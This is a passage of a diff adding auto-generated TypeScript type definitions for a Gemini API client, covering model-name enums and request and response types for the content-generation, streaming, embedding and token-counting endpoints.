'gemini-3.5-flash-lite', + 'gemini-3.5-live-translate-preview': 'gemini-3.5-live-translate-preview', + 'gemini-3.5-transcribe': 'gemini-3.5-transcribe', + 'gemini-3.5-transcribe-live': 'gemini-3.5-transcribe-live', + 'gemini-3.6-flash': 'gemini-3.6-flash', + 'gemini-3.7-flash': 'gemini-3.7-flash', + 'gemini-3.8-flash': 'gemini-3.8-flash', + 'gemini-3.8-flash-lite-tts': 'gemini-3.8-flash-lite-tts', + 'gemini-3.8-flash-tts': 'gemini-3.8-flash-tts', + 'gemini-3.8-live': 'gemini-3.8-live', + 'gemini-3.8-live-extended-thinking': 'gemini-3.8-live-extended-thinking', + 'gemini-3-flash-preview': 'gemini-3-flash-preview', + 'gemini-3-pro-image': 'gemini-3-pro-image', + 'gemini-3-pro-image-preview': 'gemini-3-pro-image-preview', + 'gemini-4-argon': 'gemini-4-argon', + 'gemini-embedding-001': 'gemini-embedding-001', + 'gemini-embedding-2': 'gemini-embedding-2', + 'gemini-embedding-2-preview': 'gemini-embedding-2-preview', + 'gemini-flash-latest': 'gemini-flash-latest', + 'gemini-flash-lite-latest': 'gemini-flash-lite-latest', + 'gemini-nano-banana-2.1': 'gemini-nano-banana-2.1', + 'gemini-omni-1.1-flash': 'gemini-omni-1.1-flash', + 'gemini-omni-1.2-flash': 'gemini-omni-1.2-flash', + 'gemini-omni-flash-preview': 'gemini-omni-flash-preview', + 'gemini-pro-latest': 'gemini-pro-latest', + 'gemini-robotics-er-2-preview': 'gemini-robotics-er-2-preview', + 'gemini-robotics-er-2-streaming-preview': + 'gemini-robotics-er-2-streaming-preview', + 'gemma-4-26b-a4b-it': 'gemma-4-26b-a4b-it', + 'gemma-4-31b-it': 'gemma-4-31b-it', + 'lyria-3.5': 'lyria-3.5', + 'lyria-3-clip-preview': 'lyria-3-clip-preview', + 'lyria-3-pro-preview': 'lyria-3-pro-preview', + 'lyria-realtime-exp': 'lyria-realtime-exp', + 'nano-banana-pro-preview': 'nano-banana-pro-preview', +} as const + +export type GeminiPostV1BetaDynamicDynamicidGeneratecontentRequestModelEnumKey = + (typeof geminiPostV1BetaDynamicDynamicidGeneratecontentRequestModelEnum)[keyof typeof geminiPostV1BetaDynamicDynamicidGeneratecontentRequestModelEnum] + +/** + * @description Request to generate a completion from the model. + * @type object + */ +export type GeminiPostV1BetaDynamicDynamicidGeneratecontentBody = { + /** + * @description Required. The content of the current conversation with the model. For single-turn queries, this is a single instance. For multi-turn queries like [chat](https://aistudio.google.com/docs/text-generation#multi-turn-conversations), this is a repeated field that contains the conversation history and the latest request. + * @type array | undefined + */ + contents?: Content[] + /** + * @description Optional. A list of unique `SafetySetting` instances for blocking unsafe content. This will be enforced on the `GenerateContentRequest.contents` and `GenerateContentResponse.candidates`. There should not be more than one setting for each `SafetyCategory` type. The API will block any contents and responses that fail to meet the thresholds set by these settings. This list overrides the default settings for each `SafetyCategory` specified in the safety_settings. If there is no `SafetySetting` for a given `SafetyCategory` provided in the list, the API will use the default safety setting for that category. Harm categories HARM_CATEGORY_HATE_SPEECH, HARM_CATEGORY_SEXUALLY_EXPLICIT, HARM_CATEGORY_DANGEROUS_CONTENT, HARM_CATEGORY_HARASSMENT, HARM_CATEGORY_CIVIC_INTEGRITY, HARM_CATEGORY_JAILBREAK are supported. Refer to the [guide](https://aistudio.google.com/docs/safety-settings) for detailed information on available safety settings. Also refer to the [Safety guidance](https://aistudio.google.com/docs/safety-guidance) to learn how to incorporate safety considerations in your AI applications. + * @type array | undefined + */ + safetySettings?: SafetySetting[] + /** + * @description The Tool configuration containing parameters for specifying `Tool` use in the request. + * @type object | undefined + */ + toolConfig?: ToolConfig + /** + * @description Configuration options for model generation and outputs. Not all parameters are configurable for every model. + * @type object | undefined + */ + generationConfig?: GenerationConfig + /** + * @description Optional. The service tier of the request. + * @type string | undefined + */ + serviceTier?: GeminiPostV1BetaDynamicDynamicidGeneratecontentRequestServiceTierEnumKey + /** + * @description Optional. A list of `Tools` the `Model` may use to generate the next response. A `Tool` is a piece of code that enables the system to interact with external systems to perform an action, or set of actions, outside of knowledge and scope of the `Model`. Supported `Tool`s are `Function` and `code_execution`. Refer to the [Function calling](https://aistudio.google.com/docs/function-calling) and the [Code execution](https://aistudio.google.com/docs/code-execution) guides to learn more. + * @type array | undefined + */ + tools?: Tool[] + /** + * @description Optional. Configures the logging behavior for a given request. If set, it takes precedence over the project-level logging config. + * @type boolean | undefined + */ + store?: boolean + /** + * @description Optional. The name of the content [cached](https://aistudio.google.com/docs/caching) to use as context to serve the prediction. Format: `cachedContents/{cachedContent}` + * @type string | undefined + */ + cachedContent?: string + /** + * @description Optional. An opaque continuation token used to resume generation from a previous `GenerateContent` or `StreamGenerateContent` response that stopped with `finish_reason` set to `CONTINUATION`. Note that `contents` is mandatory and must identically replicate the prompt and conversation history from the initial request when continuation token is provided in a request. + * @type string | undefined + */ + continuationToken?: string + /** + * @description Required. The name of the `Model` to use for generating the completion. Format: `models/{model}`. + * @type string | undefined + */ + model?: GeminiPostV1BetaDynamicDynamicidGeneratecontentRequestModelEnumKey + /** + * @description The base structured datatype containing multi-part content of a message. A `Content` includes a `role` field designating the producer of the `Content` and a `parts` field containing multi-part data that contains the content of the message turn. + * @type object | undefined + */ + systemInstruction?: Content + /** + * @description Optional. Labels with user-defined metadata for the request. Optional. Labels must follow standard unified Cloud label requirements: - Label keys must start with a letter. - Label keys and values can be no longer than 63 characters (Unicode codepoints) and can only contain lowercase letters, numeric characters, underscores, and dashes. - International characters are allowed. Usage: - Safety identifiers from aggregators: Use the key `safety_identifier` (e.g. `{"safety_identifier": "user_session_123"}`) + * @type object | undefined + */ + labels?: { + [key: string]: string + } +} + +export type GeminiPostV1BetaDynamicDynamicidGeneratecontentOptions = { + body: GeminiPostV1BetaDynamicDynamicidGeneratecontentBody + path: GeminiPostV1BetaDynamicDynamicidGeneratecontentPath + query?: never + headers?: never +} + +export type GeminiPostV1BetaDynamicDynamicidGeneratecontentResponses = { + '200': GeminiPostV1BetaDynamicDynamicidGeneratecontentStatus200 +} + +/** + * @description Union of all possible responses + */ +export type GeminiPostV1BetaDynamicDynamicidGeneratecontentResponse = + GeminiPostV1BetaDynamicDynamicidGeneratecontentStatus200 + +export type GeminiPostV1BetaDynamicDynamicidStreamgeneratecontentPath = { + dynamicId: string +} + +/** + * @description Response from the model supporting multiple candidate responses. Safety ratings and content filtering are reported for both prompt in `GenerateContentResponse.prompt_feedback` and for each candidate in `finish_reason` and in `safety_ratings`. The API: - Returns either all requested candidates or none of them - Returns no candidates at all only if there was something wrong with the prompt (check `prompt_feedback`) - Reports feedback on each candidate in `finish_reason` and `safety_ratings`. + * @type object + */ +export type GeminiPostV1BetaDynamicDynamicidStreamgeneratecontentStatus200 = { + /** + * @description Output only. response_id is used to identify each response. + * @type string | undefined + */ + responseId?: string + /** + * @description Candidate responses from the model. + * @type array | undefined + */ + candidates?: Candidate7Cd0B73F[] + /** + * @description The status of the underlying model. This is used to indicate the stage of the underlying model and the retirement time if applicable. + * @type object | undefined + */ + modelStatus?: ModelStatus + /** + * @description Output only. The model version used to generate the response. + * @type string | undefined + */ + modelVersion?: string + /** + * @description A set of the feedback metadata the prompt specified in `GenerateContentRequest.content`. + * @type object | undefined + */ + promptFeedback?: PromptFeedback + /** + * @description Metadata on the generation request's token usage. + * @type object | undefined + */ + usageMetadata?: UsageMetadata +} + +export const geminiPostV1BetaDynamicDynamicidStreamgeneratecontentRequestServiceTierEnum = + { + unspecified: 'unspecified', + standard: 'standard', + flex: 'flex', + priority: 'priority', + } as const + +export type GeminiPostV1BetaDynamicDynamicidStreamgeneratecontentRequestServiceTierEnumKey = + (typeof geminiPostV1BetaDynamicDynamicidStreamgeneratecontentRequestServiceTierEnum)[keyof typeof geminiPostV1BetaDynamicDynamicidStreamgeneratecontentRequestServiceTierEnum] + +export const geminiPostV1BetaDynamicDynamicidStreamgeneratecontentRequestModelEnum = + { + 'antigravity-preview-05-2026': 'antigravity-preview-05-2026', + 'antigravity-preview-09-2026': 'antigravity-preview-09-2026', + 'antigravity-preview-latest': 'antigravity-preview-latest', + aqa: 'aqa', + 'deep-research-max-preview-04-2026': 'deep-research-max-preview-04-2026', + 'deep-research-preview-04-2026': 'deep-research-preview-04-2026', + 'deep-research-pro-preview-12-2025': 'deep-research-pro-preview-12-2025', + 'gemini-2.5-computer-use-preview-10-2025': + 'gemini-2.5-computer-use-preview-10-2025', + 'gemini-2.5-flash': 'gemini-2.5-flash', + 'gemini-2.5-flash-image': 'gemini-2.5-flash-image', + 'gemini-2.5-flash-lite': 'gemini-2.5-flash-lite', + 'gemini-2.5-flash-native-audio-latest': + 'gemini-2.5-flash-native-audio-latest', + 'gemini-2.5-flash-native-audio-preview-09-2025': + 'gemini-2.5-flash-native-audio-preview-09-2025', + 'gemini-2.5-flash-native-audio-preview-12-2025': + 'gemini-2.5-flash-native-audio-preview-12-2025', + 'gemini-2.5-flash-preview-tts': 'gemini-2.5-flash-preview-tts', + 'gemini-2.5-pro': 'gemini-2.5-pro', + 'gemini-2.5-pro-preview-tts': 'gemini-2.5-pro-preview-tts', + 'gemini-3.1-flash-image': 'gemini-3.1-flash-image', + 'gemini-3.1-flash-image-preview': 'gemini-3.1-flash-image-preview', + 'gemini-3.1-flash-lite': 'gemini-3.1-flash-lite', + 'gemini-3.1-flash-lite-image': 'gemini-3.1-flash-lite-image', + 'gemini-3.1-flash-lite-preview': 'gemini-3.1-flash-lite-preview', + 'gemini-3.1-flash-live-preview': 'gemini-3.1-flash-live-preview', + 'gemini-3.1-flash-tts-preview': 'gemini-3.1-flash-tts-preview', + 'gemini-3.1-pro-preview': 'gemini-3.1-pro-preview', + 'gemini-3.1-pro-preview-customtools': 'gemini-3.1-pro-preview-customtools', + 'gemini-3.5-flash': 'gemini-3.5-flash', + 'gemini-3.5-flash-lite': 'gemini-3.5-flash-lite', + 'gemini-3.5-live-translate-preview': 'gemini-3.5-live-translate-preview', + 'gemini-3.5-transcribe': 'gemini-3.5-transcribe', + 'gemini-3.5-transcribe-live': 'gemini-3.5-transcribe-live', + 'gemini-3.6-flash': 'gemini-3.6-flash', + 'gemini-3.7-flash': 'gemini-3.7-flash', + 'gemini-3.8-flash': 'gemini-3.8-flash', + 'gemini-3.8-flash-lite-tts': 'gemini-3.8-flash-lite-tts', + 'gemini-3.8-flash-tts': 'gemini-3.8-flash-tts', + 'gemini-3.8-live': 'gemini-3.8-live', + 'gemini-3.8-live-extended-thinking': 'gemini-3.8-live-extended-thinking', + 'gemini-3-flash-preview': 'gemini-3-flash-preview', + 'gemini-3-pro-image': 'gemini-3-pro-image', + 'gemini-3-pro-image-preview': 'gemini-3-pro-image-preview', + 'gemini-4-argon': 'gemini-4-argon', + 'gemini-embedding-001': 'gemini-embedding-001', + 'gemini-embedding-2': 'gemini-embedding-2', + 'gemini-embedding-2-preview': 'gemini-embedding-2-preview', + 'gemini-flash-latest': 'gemini-flash-latest', + 'gemini-flash-lite-latest': 'gemini-flash-lite-latest', + 'gemini-nano-banana-2.1': 'gemini-nano-banana-2.1', + 'gemini-omni-1.1-flash': 'gemini-omni-1.1-flash', + 'gemini-omni-1.2-flash': 'gemini-omni-1.2-flash', + 'gemini-omni-flash-preview': 'gemini-omni-flash-preview', + 'gemini-pro-latest': 'gemini-pro-latest', + 'gemini-robotics-er-2-preview': 'gemini-robotics-er-2-preview', + 'gemini-robotics-er-2-streaming-preview': + 'gemini-robotics-er-2-streaming-preview', + 'gemma-4-26b-a4b-it': 'gemma-4-26b-a4b-it', + 'gemma-4-31b-it': 'gemma-4-31b-it', + 'lyria-3.5': 'lyria-3.5', + 'lyria-3-clip-preview': 'lyria-3-clip-preview', + 'lyria-3-pro-preview': 'lyria-3-pro-preview', + 'lyria-realtime-exp': 'lyria-realtime-exp', + 'nano-banana-pro-preview': 'nano-banana-pro-preview', + } as const + +export type GeminiPostV1BetaDynamicDynamicidStreamgeneratecontentRequestModelEnumKey = + (typeof geminiPostV1BetaDynamicDynamicidStreamgeneratecontentRequestModelEnum)[keyof typeof geminiPostV1BetaDynamicDynamicidStreamgeneratecontentRequestModelEnum] + +/** + * @description Request to generate a completion from the model. + * @type object + */ +export type GeminiPostV1BetaDynamicDynamicidStreamgeneratecontentBody = { + /** + * @description Required. The content of the current conversation with the model. For single-turn queries, this is a single instance. For multi-turn queries like [chat](https://aistudio.google.com/docs/text-generation#multi-turn-conversations), this is a repeated field that contains the conversation history and the latest request. + * @type array | undefined + */ + contents?: Content[] + /** + * @description Optional. A list of unique `SafetySetting` instances for blocking unsafe content. This will be enforced on the `GenerateContentRequest.contents` and `GenerateContentResponse.candidates`. There should not be more than one setting for each `SafetyCategory` type. The API will block any contents and responses that fail to meet the thresholds set by these settings. This list overrides the default settings for each `SafetyCategory` specified in the safety_settings. If there is no `SafetySetting` for a given `SafetyCategory` provided in the list, the API will use the default safety setting for that category. Harm categories HARM_CATEGORY_HATE_SPEECH, HARM_CATEGORY_SEXUALLY_EXPLICIT, HARM_CATEGORY_DANGEROUS_CONTENT, HARM_CATEGORY_HARASSMENT, HARM_CATEGORY_CIVIC_INTEGRITY, HARM_CATEGORY_JAILBREAK are supported. Refer to the [guide](https://aistudio.google.com/docs/safety-settings) for detailed information on available safety settings. Also refer to the [Safety guidance](https://aistudio.google.com/docs/safety-guidance) to learn how to incorporate safety considerations in your AI applications. + * @type array | undefined + */ + safetySettings?: SafetySetting[] + /** + * @description The Tool configuration containing parameters for specifying `Tool` use in the request. + * @type object | undefined + */ + toolConfig?: ToolConfig + /** + * @description Configuration options for model generation and outputs. Not all parameters are configurable for every model. + * @type object | undefined + */ + generationConfig?: GenerationConfig + /** + * @description Optional. The service tier of the request. + * @type string | undefined + */ + serviceTier?: GeminiPostV1BetaDynamicDynamicidStreamgeneratecontentRequestServiceTierEnumKey + /** + * @description Optional. A list of `Tools` the `Model` may use to generate the next response. A `Tool` is a piece of code that enables the system to interact with external systems to perform an action, or set of actions, outside of knowledge and scope of the `Model`. Supported `Tool`s are `Function` and `code_execution`. Refer to the [Function calling](https://aistudio.google.com/docs/function-calling) and the [Code execution](https://aistudio.google.com/docs/code-execution) guides to learn more. + * @type array | undefined + */ + tools?: Tool[] + /** + * @description Optional. Configures the logging behavior for a given request. If set, it takes precedence over the project-level logging config. + * @type boolean | undefined + */ + store?: boolean + /** + * @description Optional. The name of the content [cached](https://aistudio.google.com/docs/caching) to use as context to serve the prediction. Format: `cachedContents/{cachedContent}` + * @type string | undefined + */ + cachedContent?: string + /** + * @description Optional. An opaque continuation token used to resume generation from a previous `GenerateContent` or `StreamGenerateContent` response that stopped with `finish_reason` set to `CONTINUATION`. Note that `contents` is mandatory and must identically replicate the prompt and conversation history from the initial request when continuation token is provided in a request. + * @type string | undefined + */ + continuationToken?: string + /** + * @description Required. The name of the `Model` to use for generating the completion. Format: `models/{model}`. + * @type string | undefined + */ + model?: GeminiPostV1BetaDynamicDynamicidStreamgeneratecontentRequestModelEnumKey + /** + * @description The base structured datatype containing multi-part content of a message. A `Content` includes a `role` field designating the producer of the `Content` and a `parts` field containing multi-part data that contains the content of the message turn. + * @type object | undefined + */ + systemInstruction?: Content + /** + * @description Optional. Labels with user-defined metadata for the request. Optional. Labels must follow standard unified Cloud label requirements: - Label keys must start with a letter. - Label keys and values can be no longer than 63 characters (Unicode codepoints) and can only contain lowercase letters, numeric characters, underscores, and dashes. - International characters are allowed. Usage: - Safety identifiers from aggregators: Use the key `safety_identifier` (e.g. `{"safety_identifier": "user_session_123"}`) + * @type object | undefined + */ + labels?: { + [key: string]: string + } +} + +export type GeminiPostV1BetaDynamicDynamicidStreamgeneratecontentOptions = { + body: GeminiPostV1BetaDynamicDynamicidStreamgeneratecontentBody + path: GeminiPostV1BetaDynamicDynamicidStreamgeneratecontentPath + query?: never + headers?: never +} + +export type GeminiPostV1BetaDynamicDynamicidStreamgeneratecontentResponses = { + '200': GeminiPostV1BetaDynamicDynamicidStreamgeneratecontentStatus200 +} + +/** + * @description Union of all possible responses + */ +export type GeminiPostV1BetaDynamicDynamicidStreamgeneratecontentResponse = + GeminiPostV1BetaDynamicDynamicidStreamgeneratecontentStatus200 + +export type GeminiPostV1BetaModelsModelsidBatchembedcontentsPath = { + modelsId: string +} + +/** + * @description The response to a `BatchEmbedContentsRequest`. + * @type object + */ +export type GeminiPostV1BetaModelsModelsidBatchembedcontentsStatus200 = { + /** + * @description Output only. The embeddings for each request, in the same order as provided in the batch request. + * @type array | undefined + */ + embeddings?: ContentEmbedding[] + /** + * @description Metadata on the usage of the embedding request. + * @type object | undefined + */ + usageMetadata?: EmbeddingUsageMetadata +} + +/** + * @description Batch request to get embeddings from the model for a list of prompts. + * @type object + */ +export type GeminiPostV1BetaModelsModelsidBatchembedcontentsBody = { + /** + * @description Required. Embed requests for the batch. The model in each of these requests must match the model specified `BatchEmbedContentsRequest.model`. + * @type array | undefined + */ + requests?: EmbedContentRequest[] +} + +export type GeminiPostV1BetaModelsModelsidBatchembedcontentsOptions = { + body: GeminiPostV1BetaModelsModelsidBatchembedcontentsBody + path: GeminiPostV1BetaModelsModelsidBatchembedcontentsPath + query?: never + headers?: never +} + +export type GeminiPostV1BetaModelsModelsidBatchembedcontentsResponses = { + '200': GeminiPostV1BetaModelsModelsidBatchembedcontentsStatus200 +} + +/** + * @description Union of all possible responses + */ +export type GeminiPostV1BetaModelsModelsidBatchembedcontentsResponse = + GeminiPostV1BetaModelsModelsidBatchembedcontentsStatus200 + +export type GeminiPostV1BetaModelsModelsidBatchembedtextPath = { + modelsId: string +} + +/** + * @description The response to a EmbedTextRequest. + * @type object + */ +export type GeminiPostV1BetaModelsModelsidBatchembedtextStatus200 = { + /** + * @description Output only. The embeddings generated from the input text. + * @type array | undefined + */ + embeddings?: Embedding[] +} + +/** + * @description Batch request to get a text embedding from the model. + * @type object + */ +export type GeminiPostV1BetaModelsModelsidBatchembedtextBody = { + /** + * @description Optional. The free-form input texts that the model will turn into an embedding. The current limit is 100 texts, over which an error will be thrown. + * @type array | undefined + */ + texts?: string[] + /** + * @description Optional. Embed requests for the batch. Only one of `texts` or `requests` can be set. + * @type array | undefined + */ + requests?: EmbedTextRequest[] +} + +export type GeminiPostV1BetaModelsModelsidBatchembedtextOptions = { + body: GeminiPostV1BetaModelsModelsidBatchembedtextBody + path: GeminiPostV1BetaModelsModelsidBatchembedtextPath + query?: never + headers?: never +} + +export type GeminiPostV1BetaModelsModelsidBatchembedtextResponses = { + '200': GeminiPostV1BetaModelsModelsidBatchembedtextStatus200 +} + +/** + * @description Union of all possible responses + */ +export type GeminiPostV1BetaModelsModelsidBatchembedtextResponse = + GeminiPostV1BetaModelsModelsidBatchembedtextStatus200 + +export type GeminiPostV1BetaModelsModelsidCountmessagetokensPath = { + modelsId: string +} + +/** + * @description A response from `CountMessageTokens`. It returns the model's `token_count` for the `prompt`. + * @type object + */ +export type GeminiPostV1BetaModelsModelsidCountmessagetokensStatus200 = { + /** + * @description The number of tokens that the `model` tokenizes the `prompt` into. Always non-negative. + * + * Format: `int32` + * @type integer | undefined + */ + tokenCount?: number +} + +/** + * @description Counts the number of tokens in the `prompt` sent to a model. Models may tokenize text differently, so each model may return a different `token_count`. + * @type object + */ +export type GeminiPostV1BetaModelsModelsidCountmessagetokensBody = { + /** + * @description All of the structured input text passed to the model as a prompt. A `MessagePrompt` contains a structured set of fields that provide context for the conversation, examples of user input/model output message pairs that prime the model to respond in different ways, and the conversation history or list of messages representing the alternating turns of the conversation between the user and the model. + * @type object | undefined + */ + prompt?: MessagePrompt +} + +export type GeminiPostV1BetaModelsModelsidCountmessagetokensOptions = { + body: GeminiPostV1BetaModelsModelsidCountmessagetokensBody + path: GeminiPostV1BetaModelsModelsidCountmessagetokensPath + query?: never + headers?: never +} + +export type GeminiPostV1BetaModelsModelsidCountmessagetokensResponses = { + '200': GeminiPostV1BetaModelsModelsidCountmessagetokensStatus200 +} + +/** + * @description Union of all possible responses + */ +export type GeminiPostV1BetaModelsModelsidCountmessagetokensResponse = + GeminiPostV1BetaModelsModelsidCountmessagetokensStatus200 + +export type GeminiPostV1BetaModelsModelsidCounttexttokensPath = { + modelsId: string +} + +/** + * @description A response from `CountTextTokens`. It returns the model's `token_count` for the `prompt`. + * @type object + */ +export type GeminiPostV1BetaModelsModelsidCounttexttokensStatus200 = { + /** + * @description The number of tokens that the `model` tokenizes the `prompt` into. Always non-negative. + * + * Format: `int32` + * @type integer | undefined + */ + tokenCount?: number +} + +/** + * @description Counts the number of tokens in the `prompt` sent to a model. Models may tokenize text differently, so each model may return a different `token_count`. + * @type object + */ +export type GeminiPostV1BetaModelsModelsidCounttexttokensBody = { + /** + * @description Text given to the model as a prompt. The Model will use this TextPrompt to Generate a text completion. + * @type object | undefined + */ + prompt?: TextPrompt +} + +export type GeminiPostV1BetaModelsModelsidCounttexttokensOptions = { + body: GeminiPostV1BetaModelsModelsidCounttexttokensBody + path: GeminiPostV1BetaModelsModelsidCounttexttokensPath + query?: never + headers?: never +} + +export type GeminiPostV1BetaModelsModelsidCounttexttokensResponses = { + '200': GeminiPostV1BetaModelsModelsidCounttexttokensStatus200 +} + +/** + * @description Union of all possible responses + */ +export type GeminiPostV1BetaModelsModelsidCounttexttokensResponse = + GeminiPostV1BetaModelsModelsidCounttexttokensStatus200 + +export type GeminiPostV1BetaModelsModelsidCounttokensPath = { + modelsId: string +} + +/** + * @description A response from `CountTokens`. It returns the model's `token_count` for the `prompt`. + * @type object + */ +export type GeminiPostV1BetaModelsModelsidCounttokensStatus200 = { + /** + * @description Number of tokens in the cached part of the prompt (the cached content). + * + * Format: `int32` + * @type integer | undefined + */ + cachedContentTokenCount?: number + /** + * @description The number of tokens that the `Model` tokenizes the `prompt` into. Always non-negative. + * + * Format: `int32` + * @type integer | undefined + */ + totalTokens?: number + /** + * @description Output only. List of modalities that were processed in the request input. + * @type array | undefined + */ + promptTokensDetails?: ModalityTokenCount[] + /** + * @description Output only. List of modalities that were processed in the cached content. + * @type array | undefined + */ + cacheTokensDetails?: ModalityTokenCount[] +} + +/** + * @description Counts the number of tokens in the `prompt` sent to a model. Models may tokenize text differently, so each model may return a different `token_count`. + * @type object + */ +export type GeminiPostV1BetaModelsModelsidCounttokensBody = { + /** + * @description Optional. The input given to the model as a prompt. This field is ignored when `generate_content_request` is set. + * @type array | undefined + */ + contents?: Content[] + /** + * @description Request to generate a completion from the model. + * @type object | undefined + */ + generateContentRequest?: GenerateContentRequest +} + +export type GeminiPostV1BetaModelsModelsidCounttokensOptions = { + body: GeminiPostV1BetaModelsModelsidCounttokensBody + path: GeminiPostV1BetaModelsModelsidCounttokensPath + query?: never + headers?: never +} + +export type GeminiPostV1BetaModelsModelsidCounttokensResponses = { + '200': GeminiPostV1BetaModelsModelsidCounttokensStatus200 +} + +/** + * @description Union of all possible responses + */ +export type GeminiPostV1BetaModelsModelsidCounttokensResponse = + GeminiPostV1BetaModelsModelsidCounttokensStatus200 + +export type GeminiPostV1BetaModelsModelsidEmbedcontentPath = { + modelsId: string +} + +/** + * @description The response to an `EmbedContentRequest`. + * @type object + */ +export type GeminiPostV1BetaModelsModelsidEmbedcontentStatus200 = { + /** + * @description A list of floats representing an embedding. + * @type object | undefined + */ + embedding?: ContentEmbedding + /** + * @description Metadata on the usage of the embedding request. + * @type object | undefined + */ + usageMetadata?: EmbeddingUsageMetadata +} + +export const geminiPostV1BetaModelsModelsidEmbedcontentRequestTaskTypeEnum = { + TASK_TYPE_UNSPECIFIED: 'TASK_TYPE_UNSPECIFIED', + RETRIEVAL_QUERY: 'RETRIEVAL_QUERY', + RETRIEVAL_DOCUMENT: 'RETRIEVAL_DOCUMENT', + SEMANTIC_SIMILARITY: 'SEMANTIC_SIMILARITY', + CLASSIFICATION: 'CLASSIFICATION', + CLUSTERING: 'CLUSTERING', + QUESTION_ANSWERING: 'QUESTION_ANSWERING', + FACT_VERIFICATION: 'FACT_VERIFICATION', + CODE_RETRIEVAL_QUERY: 'CODE_RETRIEVAL_QUERY', +} as const + +export type GeminiPostV1BetaModelsModelsidEmbedcontentRequestTaskTypeEnumKey = + (typeof geminiPostV1BetaModelsModelsidEmbedcontentRequestTaskTypeEnum)[keyof typeof geminiPostV1BetaModelsModelsidEmbedcontentRequestTaskTypeEnum] + +export const geminiPostV1BetaModelsModelsidEmbedcontentRequestModelEnum = { + 'antigravity-preview-05-2026': 'antigravity-preview-05-2026', + 'antigravity-preview-09-2026': 'antigravity-preview-09-2026', + 'antigravity-preview-latest': 'antigravity-preview-latest', + aqa: 'aqa', + 'deep-research-max-preview-04-2026': 'deep-research-max-preview-04-2026', + 'deep-research-preview-04-2026': 'deep-research-preview-04-2026', + 'deep-research-pro-preview-12-2025': 'deep-research-pro-preview-12-2025', + 'gemini-2.5-computer-use-preview-10-2025': + 'gemini-2.5-computer-use-preview-10-2025', + 'gemini-2.5-flash': 'gemini-2.5-flash', + 'gemini-2.5-flash-image': 'gemini-2.5-flash-image', + 'gemini-2.5-flash-lite': 'gemini-2.5-flash-lite', + 'gemini-2.5-flash-native-audio-latest': + 'gemini-2.5-flash-native-audio-latest', + 'gemini-2.5-flash-native-audio-preview-09-2025': + 'gemini-2.5-flash-native-audio-preview-09-2025', + 'gemini-2.5-flash-native-audio-preview-12-2025': + 'gemini-2.5-flash-native-audio-preview-12-2025', + 'gemini-2.5-flash-preview-tts': 'gemini-2.5-flash-preview-tts', + 'gemini-2.5-pro': 'gemini-2.5-pro', + 'gemini-2.5-pro-preview-tts': 'gemini-2.5-pro-preview-tts', + 'gemini-3.1-flash-image': 'gemini-3.1-flash-image', + 'gemini-3.1-flash-image-preview': 'gemini-3.1-flash-image-preview', + 'gemini-3.1-flash-lite': 'gemini-3.1-flash-lite', + 'gemini-3.1-flash-lite-image': 'gemini-3.1-flash-lite-image', + 'gemini-3.1-flash-lite-preview': 'gemini-3.1-flash-lite-preview', + 'gemini-3.1-flash-live-preview': 'gemini-3.1-flash-live-preview', + 'gemini-3.1-flash-tts-preview': 'gemini-3.1-flash-tts-preview', + 'gemini-3.1-pro-preview': 'gemini-3.1-pro-preview', + 'gemini-3.1-pro-preview-customtools': 'gemini-3.1-pro-preview-customtools', + 'gemini-3.5-flash': 'gemini-3.5-flash', + 'gemini-3.5-flash-lite': 'gemini-3.5-flash-lite', + 'gemini-3.5-live-translate-preview': 'gemini-3.5-live-translate-preview', + 'gemini-3.5-transcribe': 'gemini-3.5-transcribe', + 'gemini-3.5-transcribe-live': 'gemini-3.5-transcribe-live', + 'gemini-3.6-flash': 'gemini-3.6-flash', + 'gemini-3.7-flash': 'gemini-3.7-flash', + 'gemini-3.8-flash': 'gemini-3.8-flash', + 'gemini-3.8-flash-lite-tts': 'gemini-3.8-flash-lite-tts', + 'gemini-3.8-flash-tts': 'gemini-3.8-flash-tts', + 'gemini-3.8-live': 'gemini-3.8-live', + 'gemini-3.8-live-extended-thinking': 'gemini-3.8-live-extended-thinking', + 'gemini-3-flash-preview': 'gemini-3-flash-preview', + 'gemini-3-pro-image': 'gemini-3-pro-image', + 'gemini-3-pro-image-preview': 'gemini-3-pro-image-preview', + 'gemini-4-argon': 'gemini-4-argon', + 'gemini-embedding-001': 'gemini-embedding-001', + 'gemini-embedding-2': 'gemini-embedding-2', + 'gemini-embedding-2-preview': 'gemini-embedding-2-preview', + 'gemini-flash-latest': 'gemini-flash-latest', + 'gemini-flash-lite-latest': 'gemini-flash-lite-latest', + 'gemini-nano-banana-2.1': 'gemini-nano-banana-2.1', + 'gemini-omni-1.1-flash': 'gemini-omni-1.1-flash', + 'gemini-omni-1.2-flash': 'gemini-omni-1.2-flash', + 'gemini-omni-flash-preview': 'gemini-omni-flash-preview', + 'gemini-pro-latest': 'gemini-pro-latest', + 'gemini-robotics-er-2-preview': 'gemini-robotics-er-2-preview', + 'gemini-robotics-er-2-streaming-preview': + 'gemini-robotics-er-2-streaming-preview', + 'gemma-4-26b-a4b-it': 'gemma-4-26b-a4b-it', + 'gemma-4-31b-it': 'gemma-4-31b-it', + 'lyria-3.5': 'lyria-3.5', + 'lyria-3-clip-preview': 'lyria-3-clip-preview', + 'lyria-3-pro-preview': 'lyria-3-pro-preview', + 'lyria-realtime-exp': 'lyria-realtime-exp', + 'nano-banana-pro-preview': 'nano-banana-pro-preview', +} as const + +export type GeminiPostV1BetaModelsModelsidEmbedcontentRequestModelEnumKey = + (typeof geminiPostV1BetaModelsModelsidEmbedcontentRequestModelEnum)[keyof typeof geminiPostV1BetaModelsModelsidEmbedcontentRequestModelEnum] + +/** + * @description Request containing the `Content` for the model to embed. + * @type object + */ +export type GeminiPostV1BetaModelsModelsidEmbedcontentBody = { + /** + * @description Optional. Deprecated: Please use EmbedContentConfig.output_dimensionality instead. Optional reduced dimension for the output embedding. If set, excessive values in the output embedding are truncated from the end. Supported by newer models since 2024 only. You cannot set this value if using the earlier model (`models/embedding-001`). + * + * Format: `int32` + * @type integer | undefined + */ + outputDimensionality?: number + /** + * @description Optional. Deprecated: Please use EmbedContentConfig.title instead. An optional title for the text. Only applicable when TaskType is `RETRIEVAL_DOCUMENT`. Note: Specifying a `title` for `RETRIEVAL_DOCUMENT` provides better quality embeddings for retrieval. + * @type string | undefined + */ + title?: string + /** + * @description The base structured datatype containing multi-part content of a message. A `Content` includes a `role` field designating the producer of the `Content` and a `parts` field containing multi-part data that contains the content of the message turn. + * @type object | undefined + */ + content?: ContentCe81Ce46 + /** + * @description Optional. Deprecated: Please use EmbedContentConfig.task_type instead. Optional task type for which the embeddings will be used. Not supported on earlier models (`models/embedding-001`). + * @type string | undefined + */ + taskType?: GeminiPostV1BetaModelsModelsidEmbedcontentRequestTaskTypeEnumKey + /** + * 